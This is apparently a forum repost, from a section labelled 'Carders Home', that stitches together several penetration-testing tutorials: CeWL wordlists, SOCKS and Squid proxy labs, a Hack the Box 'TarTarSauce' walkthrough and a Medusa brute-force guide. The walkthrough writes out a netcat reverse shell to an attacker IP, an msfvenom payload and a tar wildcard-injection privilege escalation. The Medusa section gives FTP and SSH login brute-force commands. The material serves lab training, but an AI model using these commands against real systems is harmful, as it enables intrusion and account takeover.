1
cewl

[To see content please register here]

-m 9
The above command will generate a list of minimum 9 words, as you can observe in the following image, it has crawled to the given website and prints the list of the word with a minimum 9 characters.
[Image: 4.png?w=687&ssl=1]

Retrieving Emails from a Website
You can use -e option that enables email parameter along with -n option that hides the list of the word generated while crawling the given website.
cewl

[To see content please register here]

-n -e
1
cewl

[To see content please register here]

-n -e
As shown in the below image, it has successfully found 1 email-id from inside the website.
[Image: 5.png?w=687&ssl=1]

Count the number of Word Repeated in a website
If you want to count the number of words repeated several times in a website, then use -c options that enable count parameter.
cewl

[To see content please register here]

-c
1
cewl

[To see content please register here]

-c
As you can observe from the given below image that it has printed the count for each word which is repeated in the given website.
[Image: 6.png?w=687&ssl=1]

Increase the Depth to Spider
If you want to increase the level of spider for generating a larger list of the word by enumerating more new words from the website then use -d option along with depth level number that enables depth parameter for making more intense creeping. By Default it the depth level set is 2.
cewl

[To see content please register here]

-d 3
1
cewl

[To see content please register here]

-d 3

Extra Debug Information
You can use –debug option that enables debug mode and shows error and raw detail of website while crawling.
cewl

[To see content please register here]

--debug
1
cewl

[To see content please register here]

--debug

Verbose Mode
To expand the website crawling result and for retrieving completed detail of a website, you can use -v option for verbose mode. Rather than generating wordlist, it will dump the information available on the website.
cewl

[To see content please register here]

-v
1
cewl

[To see content please register here]

-v

Generating Alpha-Numeric
If you want to generate an alpha-numeric wordlist then you can use –with-numbers option along with the command.
cewl

[To see content please register here]

--with-numbers
1
cewl

[To see content please register here]

--with-numbers
[Image: 13.png?w=687&ssl=1]

From the given below image you can observe, this time it has generated an alpha-numeric wordlist.
[Image: 14.png?w=687&ssl=1]

Cewl with Digest/Basic Authentication
If there is page authentication for login into the website then above default will not work properly, in order to generate a wordlist you need to bypass the authentication page by using the following parameter:
–auth_type: Digest or basic.
–auth_user: Authentication username.
–auth_pass: Authentication password.
cewl

[To see content please register here]

--auth_type Digest --auth_user admin --auth_pass password -v
1
cewl

[To see content please register here]

--auth_type Digest --auth_user admin --auth_pass password -v
or
cewl

[To see content please register here]

--auth_type basic --auth_user admin --auth_pass password -v
1
cewl

[To see content please register here]

--auth_type basic --auth_user admin --auth_pass password -v
From the given below image you can observe, it has got HTTP-response 200 and hence generated the wordlist.
[Image: 15.png?w=687&ssl=1]

Proxy URL
When any website is running behind any proxy server then cewl will not able to generate wordlist with the help of default command as shown in the given below image.
cewl -w dict.txt

[To see content please register here]

1
cewl -w dict.txt

[To see content please register here]

You can use –proxy option to enable Proxy URL parameter to generate a wordlist with the help of the following command:
cewl --proxy_host 192.168.1.103 --proxy_port 3128 -w dict.txt

[To see content please register here]

1
cewl --proxy_host 192.168.1.103 --proxy_port 3128 -w dict.txt

[To see content please register here]

As you can observe in the given below image after executing the 2nd command, it has successfully printed the list of the word as an output result.
[Image: 17.png?w=687&ssl=1]

Hello friends!! In our previous article we have discussed “

[To see content please register here]

” and today’s article we are going to set up SOCKS Proxy to use it as a Proxy Server on Ubuntu/Debian machines and will try to penetrate it.
Table of Content

Introduction to proxy
What is socks proxy
Difference Between Socks proxy and HTTP Proxy
Socks proxy Installation
Connecting HTTP via Proxy
Connecting SSH via Proxy
Connecting FTP via Proxy

Introduction to Proxy
A proxy is a computer system or program that acts as a kind of middle-man or an intermediary to come between your web browser and another computer. Your ISP operates servers– computers designed to deliver information to other computers. It uses proxy servers to accelerate the transfer of information between the server and your computer.
For Example, Two users say A and B both have requested to access the same website of the server then Instead of retrieving the data from the original server, the proxy has “stored or cached” a copy of that site and sends it to User A without troubling the main server.
What is SOCKS Proxy?
A SOCKS server is an all-purpose proxy server that creates a TCP connection to another server on the client’s behalf, then exchanges network packets between a client and server. The Tor onion proxy software serves a SOCKS interface to its clients. Even SSH tunnel makes all the connections as per the SOCKS protocol.
For high security, you can go with SOCKS5 protocol that provides various authentication options which you cannot get with the SOCKS4 protocol.
Difference Between Socks proxy and HTTP Proxy

SOCKS Proxy is low-level which is designed to be a general proxy that will be able to accommodate effectively any protocol, program, or type of traffic.
SOCKS proxies support both TCP and UDP transfer protocols
SOCKS performs at Layer 5 of the OSI model SOCKS server
Accepts an incoming client connection on TCP port 1080.
HTTP proxies proxy HTTP requests, while SOCKS proxies proxy socket connections
HTTP proxies are High-Level which are designed for a specific protocol.
HTTP proxies can only process requests from applications that use the HTTP protocol.
An HTTP proxy is for proxying HTTP or web traffic at layer 7
Accepts an incoming client connection on HTTP port 3128.

Socks Proxy Installation
For socks proxy lab set-up we are going to download microsocks through GitHub. MicroSocks is multithreaded, small, efficient SOCKS5 server. It’s very lightweight, and very light on resources too. Even for every client, a thread with a stack size of 8KB is spawned.
Let’s start!!
Open the terminal with sudo rights and enter the following command:
git clone

[To see content please register here]

1
git clone

[To see content please register here]

Once downloading is completed run the following command for its installation:
cd microsocks
apt install gcc
make
make install
1
2
3
4
cd microsocks
apt install gcc
make
make install
[Image: 2.png?w=687]

Now execute the following command to run socks proxy on port 1080 without authentication.
microsocks -p 1080
1
microsocks -p 1080
[Image: 3.png?w=687]

As you can observe FTP, SSH, HTTP and Socks are running in our local machine and now let’s go for socks penetration testing on a various protocol to ensure whether it is an all-purpose program or not as said above.
Connecting HTTP via Proxy
Now Configuring Apache service for Web Proxy, therefore, open the “000-default.conf” file from the path: /etc/apache2/sites-available/ and add following line to implement the following rules on /html directory over localhost or Machine IP (192.168.1.103).
<Directory /var/www/html/>
Options Indexes FollowSymLinks MultiViews
AllowOverride None
Order deny,allow
deny from all
allow from 127.0.0.1 192.168.1.103
</Directory>
1
2
3
4
5
6
7
<Directory /var/www/html/>
Options Indexes FollowSymLinks MultiViews
AllowOverride None
Order deny,allow
deny from all
allow from 127.0.0.1 192.168.1.103
</Directory>
Now the save the file and restart the apache service with the help of the following command.
service apache2 start
1
service apache2 start
[Image: 5.png?w=687]

Now when someone tries to access web services through our network i.e. 192.168.1.103, he/she will welcome by following web page
“Error 403 forbidden You don’t have permission to access <requested page>”.
When you face that such type of situation where port 80 is open but you are unable to access it, hence proved the network is running behind a proxy server.
[Image: 6.png?w=687]

For web Proxy penetration testing we had already set-up lab for web application server such as DVWA (Read Article from

[To see content please register here]

).
Now to test whether our proxy server is working or not by configuring , let’s open Firefox and go to Edit –> Preferences –> Advanced –> Network –> Settings and then select “Manual proxy configuration” and enter SOCKS proxy server IP address (192.168.1.103) and Port (1080) to be used for all protocol.
[Image: 7.png?w=687]

BOOMMM!! Connected to the Proxy server successfully using HTTP Proxy in our Browser.
[Image: 8.png?w=687]

Connecting SSH via Proxy
Now configuring host.allow file for SSH Proxy, therefore, open /etc/hosts.allow file and following line to allow SSH connection on localhost IP and restrict for others.
sshd : localhost : allow
sshd : 192.168.1.103 : allow
sshd : ALL : deny
1
2
3
sshd : localhost : allow
sshd : 192.168.1.103 : allow
sshd : ALL : deny
[Image: 9.1.png?w=687]

Now open a proxychains configuration file from the given path /etc/proxychains.conf in your Kali Linux and then add the following line at the bottom.
socks5 192.168.1.103 1080
1
socks5 192.168.1.103 1080
[Image: 9.png?w=687]

Now when we try to connect with target machine via port 22 for SSH connection we got an error message “Connection reset by peer” as shown in below image after executing the 1st command.
ssh [email protected]
1
ssh [email protected]
When you face that such type of situation where port 22 is open but you are unable to access it, hence proved the network is running behind the proxy server.
But if you will use proxychains along with the command after saving the configuration as said above then you can easily connect with target network via port 22 for ssh connection as shown in below image after executing the 2nd command.
proxychains ssh [email protected]
1
proxychains ssh [email protected]
[Image: 10.png?w=687]

Connecting FTP via Proxy
For connecting FTP via proxy, we have used PRO FTP. SO, you can install it using the following command :
apt-get install proftpd
1
apt-get install proftpd
Now configuring vsftpd.conf file for FTP Proxy therefore open /etc/proftpd/proftpd.conf file and add the following line to allow FTP connection on localhost IP and restrict for other networks.
<Limit LOGIN>
Order Allow,Deny
Allow from 127.0.0.1 192.168.1.103
Deny from all
</Limit>
1
2
3
4
5
<Limit LOGIN>
Order Allow,Deny
Allow from 127.0.0.1 192.168.1.103
Deny from all
</Limit>
[Image: 11.png?w=687]

Using FileZilla when we try to connect 192.168.1.103 via port 21 for accessing FTP service, we got an Error “Connection closed by server”.
When you face that such type of situation where port 21 is open but you are unable to access it, hence proved the network is running behind a proxy server.
[Image: 12.1.png?w=687]

But FileZilla has multi features as it offers a generic proxy option that forced passive mode on FTP connection. Go to Settings > Connection > FTP and select “generic proxy” option and made the following configuration settings.

Choose SOCKS 5 as generic Proxy
Proxy HOST IP: 192.168.1.103
Proxy Port: 1080

Now again when you will try to connect the target machine via port 21 for accessing FTP service then you will be easily able to access it as shown in the last image.
Hence Proved the SOCKS is actually an all-purpose proxy server and Hopefully, you have found this article very helpful and completely understood the working of Proxy server and another related topic cover in this article.
[Image: 15.png?w=687]

[Guide] How to Web Proxy Penetration Lab Setup Testing using Squid

Posted by: NINZA - 05-14-2020, 10:00 AM - Forum: Carders Home - No Replies

In this article, we are going to set up Squid to use it as a Proxy Server on Ubuntu/Debian machines and will try to penetrate it.
Table of content

Introduction to Proxy Setting
Squid Proxy Installation
Squid Proxy Server Configuration
Configuring Apache service for Web Proxy
Web Proxy Penetration Testing
Directory Brute force Attack on Proxy Server Using DIRB Tool
Vulnerability Scanning on Proxy Server Using Nikto Tool
SQL Injection on Proxy Server Using Sqlmap Tool
WordPress Scanning on Proxy Server Using WPScan Tool

Introduction to Proxy Setting
A proxy is a computer system or program that acts as a kind of middle-man or an intermediary to come between your web browser and another computer. Your ISP operates servers– computers designed to deliver information to other computers. It uses proxy servers to accelerate the transfer of information between the server and your computer.
For Example, Two users say A and B both have requested to access the same website of the server then Instead of retrieving the data from the original server, the proxy has “stored or cached” a copy of that site and sends it to User A without troubling the main server.
Squid Proxy Installation
Squid is a cross-functional web proxy cache server application which offers proxy and cache services for HTTP, FTP, and other common network protocols such as proxying of Secure Sockets Layer (SSL) requests and caching of Domain Name Server (DNS) lookups and implement transparent caching. Moreover, it also maintains a wide variety of caching protocols.
Let’s Begin!!
Open the host file in your local machine to add localhost address and hostname, because by default squid3 search for Ubuntu as the hostname for connection implementation.
[Image: 0.png?w=687&ssl=1]

Now use apt Repository to install squid3 and enter the following command.
apt-get install squid3
1
apt-get install squid3
[Image: 1.png?w=687&ssl=1]

Squid Proxy Server Configuration
Once the installation is completed, open its configuration file from the given path: /etc/squid3/squid.conf
With Squid’s access control, you may possibly shape the use of Internet services proxy by Squid to be accessible only employers with specific IP addresses.
Suppose you want to grant access by users of the 192.168.1.0/24 subnetworks only, then add the following line to the ACL section of the squid.conf file:
acl lan src 192.168.1.0/24
1
acl lan src 192.168.1.0/24
[Image: 2.png?w=687&ssl=1]

Now give permission to your clients to access HTTP service over the local network.
http_access allow lan
1
http_access allow lan
[Image: 3.png?w=687&ssl=1]

To set your Squid server to listen on the default TCP port 3128, change the http_port directive as given below:
http_port 3128
1
http_port 3128
[Image: 4.png?w=687&ssl=1]

Then add following roles for squid after adding HTTP_Port
request_header_access Referer deny all
request_header_access X-Forwarded-For deny all
request_header_access Via deny all
request_header_access Cache-Control deny all
1
2
3
4
request_header_access Referer deny all
request_header_access X-Forwarded-For deny all
request_header_access Via deny all
request_header_access Cache-Control deny all
[Image: 5.png?w=687&ssl=1]

You can Set forwarded_for :- on|off|transparent|truncate|delete

If set to “on”, Squid will append your client’s IP address in the HTTP requests it forwards. By default it looks like:

X-Forwarded-For: 192.1.2.3

If set to “off”, it will appear as

X-Forwarded-For: unknown

If set to “transparent”, Squid will not alter the

X-Forwarded-For header in any way.

If set to “delete”, Squid will delete the entire

X-Forwarded-For header.

If set to “truncate”, Squid will remove all existing

Here we had set forwarded_for off and save the file, then use the following command to restart the Squid Proxy.
sudo service squid3 restart
1
sudo service squid3 restart
[Image: 7.png?w=687&ssl=1]

Configuring Apache service for Web Proxy
Now open the “000-default.conf” file from the path: /etc/apache2/sites-available/ and add the following line to implement the following rules on /html directory over localhost or Machine IP (192.168.1.103)
<Directory /var/www/html/>
Options Indexes FollowSymLinks MultiViews
AllowOverride None
Order deny,allow
deny from all
allow from 127.0.0.1 192.168.1.103
</Directory>
1
2
3
4
5
6
7
<Directory /var/www/html/>
Options Indexes FollowSymLinks MultiViews
AllowOverride None
Order deny,allow
deny from all
allow from 127.0.0.1 192.168.1.103
</Directory>
Now the save the file and restart the apache service with the help of the following command.
service apache2 start
1
service apache2 start
[Image: 8.png?w=687&ssl=1]

When you face that such type of situation where port 80 is open but you are unable to access it, hence proved the network is running behind the proxy server.
[Image: 10.1.png?w=687&ssl=1]

Web Proxy Penetration Testing
For web Proxy penetration testing we had already set-up lab for web application servers such as DVWA and SQli DHAKKAN (Read Article from

[To see content please register here]

) and WordPress (Read Article from

[To see content please register here]

).
Now to test whether our proxy server is working or not by configuring , let’s open Firefox and go to Edit –> Preferences –> Advanced –> Network –> Settings and then select “Manual proxy configuration” and enter proxy server IP address (192.168.1.103) and Port (3128) to be used for all protocol.
[Image: 10.png?w=687&ssl=1]

BOOMMM!! Connected to the Proxy server successfully using HTTP Proxy in our Browser.
[Image: 11.png?w=687&ssl=1]

Directory Brute force Attack on Proxy Server Using DIRB Tool
While making directory brute force attack with the help of DIRB we can use –p option, it enables proxy URL to be used for all requests, by default it works on port 1080. As you have observed, on exploring target network IP in the web browser it put up “Access forbidden error” which means this web page is running behind some proxy.
dirb

[To see content please register here]

dirb

[To see content please register here]

–p 192.168.1.103:3128
1
2
dirb

[To see content please register here]

dirb

[To see content please register here]

–p 192.168.1.103:3128
From the given below image, you can take reference for the output result obtained for above commands, here we haven’t obtained any directory or file on executing 1st command whereas in 2nd command executed successfully.
[Image: 12.png?w=687&ssl=1]

Vulnerability Scanning on Proxy Server Using Nikto Tool
Similarly while scanning any network running behind a proxy server, we can use -useproxy option to scan the vulnerability.
nikto -h 192.168.1.103
nikto -h 192.168.1.103 -useproxy

[To see content please register here]

1
2
nikto -h 192.168.1.103
nikto -h 192.168.1.103 -useproxy

[To see content please register here]

From the given below image, you can take reference for the output result obtained for the above commands, here we haven’t obtained any result on executing 1st command whereas in 2nd command executed successfully.
[Image: 13.png?w=687&ssl=1]

SQL Injection on Proxy Server Using Sqlmap Tool
As you have observed, on executing following command it put up “403 forbidden error” which means this web page is running behind some proxy.
sqlmap -u

[To see content please register here]

--dbs
1
sqlmap -u

[To see content please register here]

--dbs

Hence we can use –proxy options to connect to the target URL, therefore execute the following command:
sqlmap -u

[To see content please register here]

--dbs --proxy

[To see content please register here]

1
sqlmap -u

[To see content please register here]

--dbs --proxy

[To see content please register here]

Now from the given below image, you can observe that we have successfully retrieve database name by exploiting SQL injection vulnerability.
[Image: 16.png?w=687&ssl=1]

WordPress Scanning on Proxy Server Using WPScan Tool
As you have observed, on executing following command it put up “403 forbidden error” which means this web page is running behind some proxy.
wpscan --url

[To see content please register here]

--wp-content-dir wp-content
1
wpscan --url

[To see content please register here]

--wp-content-dir wp-content
Hence we can use –proxy options to connect to the target URL, therefore execute the following command:
wpscan --url

[To see content please register here]

--wp-content-dir wp-content --proxy

[To see content please register here]

1
wpscan --url

[To see content please register here]

--wp-content-dir wp-content --proxy

[To see content please register here]

Hopefully, you have found this article very helpful and completely understood the working of the Proxy server and another related topic cover in this article.
[Image: 17.png?w=687&ssl=1]

Today we are going to solve another CTF challenge “TarTarSauce”. It is a retired vulnerable lab presented by Hack the Box for helping pentester’s to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.
Level: Expert
Task: To find user.txt and root.txt file
Note: Since these labs are online available therefore they have a static IP. The IP of TarTarSauce is 10.10.10.88
Penetrating Methodology

Network scanning (Nmap)
Directory Enumeration (Drib)
Exploiting WordPress against RFI Vulnerability
Spawning TTY shell
Check sudoers list permissions
Wildcard injection privilege escalation
Modify the backup file to get root flag

Walkthrough
Let’s start off with our basic nmap command to find out the open ports and services.
nmap -A 10.10.10.88
1
nmap -A 10.10.10.88
From the given below image, you can observe we found port 80 is open for http service and found robot.txt with 5 disallowed entries.
[Image: 1.png?w=687&ssl=1]

Let’s navigate to port 80 through a web browser. By exploring IP in the URL box, it puts up following web page as shown in the below image.
[Image: 2.png?w=687&ssl=1]

We don’t find anything on the webpage, so we run dirb to enumerate the directories. We find a directory called “/webservices/”. We further enumerate “/webservices/” as we don’t find anything in that directory.
dirb

[To see content please register here]

dirb

[To see content please register here]

1
2
dirb

[To see content please register here]

dirb

[To see content please register here]

Dirb scan gave us the directory called “/webservices/wp/” that hosts a WordPress site.
[Image: 4.png?w=687&ssl=1]

We run wpscan to enumerate the themes and plugins and find a vulnerable plugin called “Gwolle Guestbook”. We search for the exploit and find that it is vulnerable to Remote File Inclusion (RFI).
[Image: 5.png?w=687&ssl=1]

We follow the instructions according to the given POC on exploit-db and use the php-reverse-shell.php available on Kali Linux. We copy it to desktop and rename it to wp-load.php to execute our php shell using RFI. We start our python HTTP server to exploit RFI on the target machine.
python -m SimpleHTTPServer 80
1
python -m SimpleHTTPServer 80
[Image: 7.png?w=687&ssl=1]

We set up our listener using netcat; as soon as we execute our php shell through RFI, we are successfully able to get a reverse shell. We go to “/home” directory and find a folder called “onuma”. We are unable to access the “onuma” directory. So we spawn a tty shell using python to check the sudoers list.
python -c "import pty; pty.spawn('/bin/bash')"
1
python -c "import pty; pty.spawn('/bin/bash')"
We check the sudoers list and find that we can run tar as user “onuma” without any password. Hence we can exploit wild card injection for privilege escalation.
sudo -l
1
sudo -l
[Image: 8.png?w=687&ssl=1]

We create an nc reverse shell using msfvenom.
msfvenom -p cmd/unix/reverse_netcat lhost=10.10.14.177 lport=4444 R
1
msfvenom -p cmd/unix/reverse_netcat lhost=10.10.14.177 lport=4444 R
[Image: 9.png?w=687&ssl=1]

Now we move to the reverse shell and create a bash file using the nc command and save it as “wp.sh”.
Now tar has the ability to execute the command using “–checkpoint-action”. So we created a file named “–checkpoint-action=exec=sh wp.sh” and “–checkpoint=1”. So that we can execute our command as user onuma.
mkdir data
cd data
echo "mkfifo /tmp/cezbk; nc 10.10.14.177 4444 0</tmp/cezbk | /bin/sh>/tmp/cezbk 2>&1; rm /tmp/cezbk" > wp.sh
echo "" > "--checkpoint-action=exec=sh wp.sh"
echo "" > --checkpoint=1
sudo -u onuma /bin/tar cf archive.tar *
1
2
3
4
5
6
mkdir data
cd data
echo "mkfifo /tmp/cezbk; nc 10.10.14.177 4444 0</tmp/cezbk | /bin/sh>/tmp/cezbk 2>&1; rm /tmp/cezbk" > wp.sh
echo "" > "--checkpoint-action=exec=sh wp.sh"
echo "" > --checkpoint=1
sudo -u onuma /bin/tar cf archive.tar *

[Image: 10.png?w=687&ssl=1]

We use setup our listener using netcat, as soon as we run the tar command as user “onuma” we get our reverse shell as user “onuma”. Now we change the directory to /home/onuma and find the file called “user.txt” we take a look at the content of the file and find the 1st flag. After finding the flag we spawn a tty shell using python.
python -c 'import pty; pty.spawn("/bin/bash")'
1
python -c 'import pty; pty.spawn("/bin/bash")'
[Image: 11.png?w=687&ssl=1]

Enumerating through the system we find a file a called a backuperer that has been symlinked to a file a named “backup” in “/usr/local/bin directory”.
[Image: 13.png?w=687&ssl=1]

We take a look at the content of the file and find that it is a file that creates a gzip archive of files inside “/var/www/html/”. It also checks the integrity of the file after 30 seconds from the creation of the file.
[Image: 14.png?w=687&ssl=1]

We use a script that takes advantage of the “sleep” function of the script. As it waits for 30 seconds and then checks the integrity of the file we have 30 seconds to recreate the archive. We use this script

[To see content please register here]

. After running the script we find the root flag.
[Image: 15.png?w=687&ssl=1]

Hello friends!! Today we are going to discuss – How much impactful Medusa is in cracking login credential of various protocols to make unauthorized access to a system remotely. In this article, we have discussed each option available in Medusa to make a brute force attack in the various scenario.
Table Of Content

Introduction to Medusa and its features
Password Cracking For Specific Username
Username Cracking for Specific Password
Cracking Login Credential
Making Brute Force Attack on Multiple Host
Attacking on Specific Port Instead of Default
NULL/Same as Login Attempt
Save logs to Disk
Stop on Success
Suppress Startup Banner
Verbose Mode
Error Debugging Mode
Using Combo Entries
Resuming the Brute Force Attack

Introduction to Medusa and its features
Medusa is a speedy, parallel, and modular, login brute-forcer. The goal is to support as many services which allow remote authentication as possible. The author considers the following items as some of the key features of this application:

Thread-based parallel testing. Brute-force testing can be performed against multiple hosts, users or passwords concurrently.
Flexible user input. Target information (host/user/password) can be specified in a variety of ways. For example, each item can be either a single entry or a file containing multiple entries. Additionally, a combination file format allows the user to refine their target listing.
Modular design. Each service module exists as an independent .mod file. This means that no modifications are necessary to the core application in order to extend the supported list of services for brute-forcing.
Multiple protocols supported. Many services are currently supported (e.g. SMB, HTTP, POP3, MS-SQL, SSHv2, among others)

Reference Source:

[To see content please register here]

]
Type “Medusa” in the terminal without any options, it will dump all the available options it accepts along with their respective description.
Syntax: Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT]
-h [TEXT] : Target hostname or IP address
-H [FILE] : File containing target hostnames or IP addresses
-u [TEXT] : Username to test
-U [FILE] : File containing usernames to test
-p [TEXT] : Password to test
-P [FILE] : File containing passwords to test
-C [FILE] : File containing combo entries. See README for more information.
-O [FILE] : File to append log information to
-e [n/s/ns] : Additional password checks ([n] No Password, [s] Password = Username)
-M [TEXT] : Name of the module to execute (without the .mod extension)
-m [TEXT] : Parameter to pass to the module. This can be passed multiple times with a
different parameter each time and they will all be sent to the module (i.e.
-m Param1 -m Param2, etc.)
-d : Dump all known modules
-n [NUM] : Use for non-default TCP port number
-s : Enable SSL
-g [NUM] : Give up after trying to connect for NUM seconds (default 3)
-r [NUM] : Sleep NUM seconds between retry attempts (default 3)
-R [NUM] : Attempt NUM retries before giving up. The total number of attempts will be NUM + 1.
-c [NUM] : Time to wait in usec to verify socket is available (default 500 usec).
-t [NUM] : Total number of logins to be tested concurrently
-T [NUM] : Total number of hosts to be tested concurrently
-L : Parallelize logins using one username per thread. The default is to process
the entire username before proceeding.
-f : Stop scanning host after first valid username/password found.
-F : Stop audit after first valid username/password found on any host.
-b : Suppress startup banner
-q : Display module’s usage information
-v [NUM] : Verbose level [0 – 6 (more)]
-w [NUM] : Error debug level [0 – 10 (more)]
-V : Display version
-Z [TEXT] : Resume scan based on map of previous scan
[Image: 1.png?w=687&ssl=1]

As said above medusa is a brute forcing tool and you can use -d option to identify all available modules it contains.
[Image: 2.1.png?w=687&ssl=1]

Password Cracking For Specific Username
Medusa is a very impactful tool and also quite easy to use for making a brute force attack on any protocol.
Assume you want to crack the password for FTP (or any other) whose username is with you, you only wish to make a password brute force attack by using a dictionary to guess the valid password.
At that moment you should go with the following command where -u option enables username parameter and -P options enable dictionary for the password list.
medusa -h 192.168.1.108 -u raj -P pass.txt -M ftp
1
medusa -h 192.168.1.108 -u raj -P pass.txt -M ftp
As you can observe it has found 1 valid password: 123 for username: raj for FTP login.
[Image: 2.png?w=687&ssl=1]

Username Cracking for Specific Password
Assume you want to crack username for FTP (or any other) whose password is with you, you only wish to make a username brute force attack by using a dictionary to guess the valid username. Hence it is a vice-versa situation compare to the above situation.
At that moment you should go with the following command where -U option enables dictionary for username list and -p options enable password parameter.
medusa -h 192.168.1.108 -U user.txt -p 123 -M ftp
1
medusa -h 192.168.1.108 -U user.txt -p 123 -M ftp
As you can observe it has found 1 valid username: raj for password: 123 FTP login.
[Image: 3.png?w=687&ssl=1]

Cracking Login Credential
Suppose you want to crack username and password for FTP (or any other), wish to make username and password brute force attack by using a dictionary to guess the valid combination
At that moment you should go with following command where -U option enables dictionary for username list and – P options enables dictionary for the password list.
medusa -h 192.168.1.108 -U user.txt -P pass.txt -M ftp
1
medusa -h 192.168.1.108 -U user.txt -P pass.txt -M ftp
As you can observe it has found 1 valid username: raj for the password: 123 FTP login.
[Image: 4.png?w=687&ssl=1]

Making Brute Force Attack on Multiple Host
If you want to use a user-pass dictionary on multiple hosts in a network then you can use -M option that enables the host list parameter and make brute force attack using the same dictionary and will try the same number of login attempt on each HOST IP mention in the host list.
Here you can observe I had saved two host IP in a text file and then use the following command to make brute force attack on multiple hosts by using the same dictionary.
medusa -H hosts.txt -U user.txt -P pass.txt -M ftp
1
medusa -H hosts.txt -U user.txt -P pass.txt -M ftp
As you can observe it has found 2 valid FTP logins on each Host.
[Image: 5.png?w=687&ssl=1]

If you have multiple host IP in your host list and you want to make brute force attack only a few numbers of the host then use -T option for the total number of hosts to be tested concurrently.
medusa -H hosts.txt -U user.txt -P pass.txt -M ftp -T 1
medusa -H hosts.txt -U user.txt -P pass.txt -M ftp -T 2
1
2
medusa -H hosts.txt -U user.txt -P pass.txt -M ftp -T 1
medusa -H hosts.txt -U user.txt -P pass.txt -M ftp -T 2
As you can observe from given below the 1st command make brute force attack on single Host IP whereas in 2nd command it is making brute force attack on two hosts IP simultaneously.
[Image: 6.png?w=687&ssl=1]

Attacking on Specific Port Instead of Default
Due to security concern, the network admin changes the port number of a service on another port. Medusa makes brute force attack on the default port of service as you can observe in above all attacks it has automatically made an attack on port 21 for FTP login.
But you can use -n option that enables specific port number parameter and launch the attack on mention port instead of default port number.
Suppose on scanning the target network I found SSH is running port 2222 instead of 22, therefore, I will execute the following command for ssh login attack.
medusa -h 192.168.1.108 -U user.txt -P pass.txt -M ssh
medusa -h 192.168.1.108 -U user.txt -P pass.txt -M ssh -n 2222
1
2
medusa -h 192.168.1.108 -U user.txt -P pass.txt -M ssh
medusa -h 192.168.1.108 -U user.txt -P pass.txt -M ssh -n 2222
As you can observe, in 1st command of medusa it fails to connect on ssh as port 22 was close and it has found 1 valid password: 123 for username: raj for SSH login @ port 2222.
[Image: 7.png?w=687&ssl=1]

NULL/Same as Login Attempt
Using option -e along with ns enables three parameters null/same as login while making brute force attack on the password field.
medusa -h 192.168.1.108 -u raj -P pass.txt -M ftp -e ns
1
medusa -h 192.168.1.108 -u raj -P pass.txt -M ftp -e ns
As you can observe with every username, it is trying to match the following combination along with the password list.
User “raj” and password “” as null password
User “raj” and password “raj” as same as the login
[Image: 8.png?w=687&ssl=1]

Save logs to Disk
For the purpose of the record maintenance, better readability, and future references, we save the output of the Medusa brute force attack onto a file. To this we will use the parameter -O of the Medusa to save the output in a text file.
medusa -h 192.168.1.108 -U user.txt -P pass.txt -M ftp -O log.txt
1
medusa -h 192.168.1.108 -U user.txt -P pass.txt -M ftp -O log.txt
Now that we have successfully executed the command, now let’s traverse to the location to ensure whether the output has been saved on the file on not. In this case, our location for output is /root /log.txt.
[Image: 9.png?w=687&ssl=1]

Stop on Success
Suppose while using host list you want to Stop brute force attack on the host after first valid username/password found then you can use -f option alone with command.
medusa -h 192.168.1.108 -U user.txt -P pass.txt -M ftp -f
1
medusa -h 192.168.1.108 -U user.txt -P pass.txt -M ftp -f
[Image: 10.png?w=687&ssl=1]

Even you can use -F option to Stop audit after first valid username/password found on any host in your command.
medusa -H hosts.txt -U user.txt -P pass.txt -M ftp -F
1
medusa -H hosts.txt -U user.txt -P pass.txt -M ftp -F
[Image: 11.png?w=687&ssl=1]

Suppress Startup Banner
If you want to hide banner of Medusa while making brute force attack then use -b option to Suppress startup banner.
medusa -H hosts.txt -U user.txt -P pass.txt -M ftp -b
1
medusa -H hosts.txt -U user.txt -P pass.txt -M ftp -b
[Image: 12.png?w=687&ssl=1]

Verbose Mode
There are six levels for the verbose mode to examine the attack details and also contain an error debug option that contains ten levels for debug mode. You can use -v option for verbose parameter and -w option for error debugging parameter.
medusa -H hosts.txt -U user.txt -P pass.txt -M ftp -v 1
medusa -H hosts.txt -U user.txt -P pass.txt -M ftp -v 2
medusa -H hosts.txt -U user.txt -P pass.txt -M ftp -v 6
1
2
3
medusa -H hosts.txt -U user.txt -P pass.txt -M ftp -v 1
medusa -H hosts.txt -U user.txt -P pass.txt -M ftp -v 2
medusa -H hosts.txt -U user.txt -P pass.txt -M ftp -v 6
[Image: 13.png?w=687&ssl=1]

Error Debugging Mode
As said above there is level from 0-10 for examining brute force attack at each level, here you will observe the result of 0-6 is approx. same with little difference and result from of level 7-10 is approx. same but varied from 0-6 level.
medusa -h 192.168.1.108 -U user.txt -P pass.txt -M ftp -w 01
medusa -h 192.168.1.108 -U user.txt -P pass.txt -M ftp -w 06
medusa -h 192.168.1.108 -U user.txt -P pass.txt -M ftp -w 07
1
2
3
medusa -h 192.168.1.108 -U user.txt -P pass.txt -M ftp -w 01
medusa -h 192.168.1.108 -U user.txt -P pass.txt -M ftp -w 06
medusa -h 192.168.1.108 -U user.txt -P pass.txt -M ftp -w 07
Debug mode is showing wait time, socket, send data size and received data size, module detail, and path.
[Image: 14.1.png?w=687&ssl=1]

Using Combo Entries
Using -C option enables combo file parameter, the combo file should have one record per line and have the values colon separated in the format host_IP:username: password. If any of the three fields are left blank, the respective information should be delivered either as a global value or as a list in a file.
The following combinations are possible in the combo file:
host:username:password
host:username:
host::-
:username: password
:username:
:: password
host::password
As you can observe in the given below image, we have the userpass.txt file as our combo file format and we can use it along -C option to launch brute force attack.
medusa -M ftp -C userpass.txt
1
medusa -M ftp -C userpass.txt
[Image: 14.png?w=687&ssl=1]

Resuming the Brute Force Attack
Sometimes while making brute force, the attack gets paused/halt or cancel accidently at this moment to save your time you can use -z option that enables resume parameter and continue the brute-forcing from the last dropped attempt of the dictionary instead of starting it from 1st attempt.
medusa -h 192.168.1.108 -U user.txt -P pass.txt -M ftp
1
medusa -h 192.168.1.108 -U user.txt -P pass.txt -M ftp
Now you can observe the output result from the given below image where after pressing ctrl C it stops the attack and then adds the highlighted text in your command to resume the attack and continue it.
medusa -h 192.168.1.108 -U user.txt -P pass.txt -M ftp -Z h1u2u3.
1
medusa -h 192.168.1.108 -U user.txt -P pass.txt -M ftp -Z h1u2u3.
Repeat same as above, now compare the result after executing all three command you will notice it has continued the brute-forcing from the last dropped attempt
medusa -h 192.168.1.108 -U user.txt -P pass.txt -M ftp -Z h1u3u4.
1
